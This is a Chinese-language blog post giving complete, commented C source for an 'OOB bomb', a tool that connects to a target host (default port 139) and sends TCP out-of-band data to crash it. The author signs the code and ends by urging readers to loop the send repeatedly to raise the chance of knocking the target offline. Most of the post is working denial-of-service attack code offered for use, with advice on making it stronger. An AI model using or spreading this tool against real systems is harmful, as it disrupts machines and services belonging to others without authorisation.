/* 这个函数是用来检查输入的参数是IP地址还是主机名 */
int correcthost(const char *host, struct sockaddr_in * sock);
main(int argc, int *argv[])
{
/* 所要攻击的端口,一般 OOB 炸弹默认的是139端口 */
int n_port;
/* socket套接字 */
int sock_id;
/* 返回错误码 */
int rtn_err;
/* socket结构,建立连接、发送消息全靠它了 */
struct sockaddr_in remote_sock;
/* 消息 */
char *pc_msg;
/* 处理命令行参数 */
if(argc != 4){
if(argc != 3){
if(argc !=2){
printf("Usage: oob_bomb
[port] [message]/n"); printf("Writen by mikespook/n"); printf("mikespook@hotmail.com/tWith subject: report for bomb/n"); exit(0); }else /* 如果没有输入端口号就用默认的139端口 */ remote_sock.sin_port = htons(139); }else /* 否则使用输入的端口 */ remote_sock.sin_port = htons(atoi(argv[2])); pc_msg = ":-)"; }else{ remote_sock.sin_port = htons(atoi(argv[2])); pc_msg =(char *)argv[3]; } rtn_err = correcthost((char *)argv[1], (struct sockaddr_in *)&remote_sock); if(rtn_err != 0) exit(1); remote_sock.sin_family = AF_INET; /* 建立一个socket套接口 */ sock_id = socket(AF_INET, SOCK_STREAM, 0); if(sock_id < 0){ perror("/nsocket"); exit(2); } /* 当然要连接上才能继续了 */ rtn_err = connect(sock_id, (struct sockaddr *)&remote_sock, sizeof(remote_sock)); if(rtn_err < 0){ perror("/nconnect"); exit(3); } /* 呵呵,送一个MSG_OOB消息,"Bomb..." */ rtn_err = send(sock_id, pc_msg, strlen(pc_msg), MSG_OOB); if(rtn_err == -1){ perror("/nsend"); exit(4); } printf("OOB_Bomb Success!/n"); close(sock_id); exit(0); } /* 这个函数我在上次的tcp connect扫描器的制作中有介绍,不多说了 */ int correcthost(const char *host, struct sockaddr_in *sock) { struct hostent *struct_host; if(isdigit(*host)) sock->sin_addr.s_addr = inet_addr(host); else{ struct_host = gethostbyname(host); if(struct_host != NULL) bcopy(struct_host->h_addr, (char *)&sock->sin_addr, struct_host->h_length); else{ printf("Get error with host name./n"); return -1; } } return 0; } ------------------------------------------------------------------------------- 最后补充一下,在发送MSG_OOB消息的时候一般的 OOB 炸弹会做一个循环,大量的发送 MSG_OOB 消息,以增加对方当机的可能性。原理我已经说了,改进就由你完成了。:) 由于我是菜鸟,或许有什么不对的地方。也可能一些细节我没有考虑到。如果你知道的话希望不惜指教。小弟感激不尽!!
博客给出了一个在Linux下实现OOB炸弹的程序代码。该程序可检查输入的是IP地址还是主机名,能处理命令行参数,建立socket套接口并连接,发送MSG_OOB消息。最后提到一般OOB炸弹会循环大量发送消息以增加对方当机可能性。
8234

被折叠的 条评论
为什么被折叠?



